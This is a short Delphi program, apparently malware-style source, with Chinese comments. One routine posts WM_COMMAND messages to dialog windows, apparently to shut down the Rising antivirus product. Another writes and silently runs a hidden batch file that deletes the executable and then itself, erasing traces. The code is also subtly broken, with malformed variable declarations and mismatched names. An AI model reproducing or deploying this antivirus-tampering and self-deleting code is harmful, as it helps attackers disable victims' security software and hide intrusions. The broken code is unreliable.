|
program Project1;
uses Windows, Messages, SysUtils;
procedure DeleteMe; var BatchFile: TextFile; BatchFileName: string; ProcessInf TProcessInformation; StartUpInf TStartupInfo; begin BatchFileName := ExtractFilePath(ParamStr(0)) + '_deleteme.bat'; AssignFile(BatchFile, BatchFileName); Rewrite(BatchFile);
Writeln(BatchFile, ':try'); Writeln(BatchFile, 'del "' + ParamStr(0) + '"'); Writeln(BatchFile, 'if exist "' + ParamStr(0) + '"' + ' goto try'); Writeln(BatchFile, 'del %0'); CloseFile(BatchFile);
FillChar(StartUpInfo, SizeOf(StartUpInfo), $00); StartUpInfo.dwFlags := STARTF_USESHOWWINDOW; StartUpInfo.wShowWindow := SW_HIDE; if CreateProcess(nil, PChar(BatchFileName), nil, nil, False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo, ProcessInfo) then begin CloseHandle(ProcessInfo.hThread); CloseHandle(ProcessInfo.hProcess); end; end;
procedure StopRising; var hWindow: HWND; lpClassName: array[0..20] of char; begin hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST); repeat GetClassName(hWindow, lpClassName, 20); if lpClassName = '#32770' then //判断搜索窗口的类名 PostMessage(hWindow, WM_COMMAND,40027,0); PostMessage(hWindow, WM_COMMAND,2775,0); PostMessage(hWindow, WM_COMMAND,32776,0); hWindow := GetWindow(hWindow, GW_HWNDNEXT); until hWindow = 0; end; begin StopRising; //调用 DeleteMe; end. |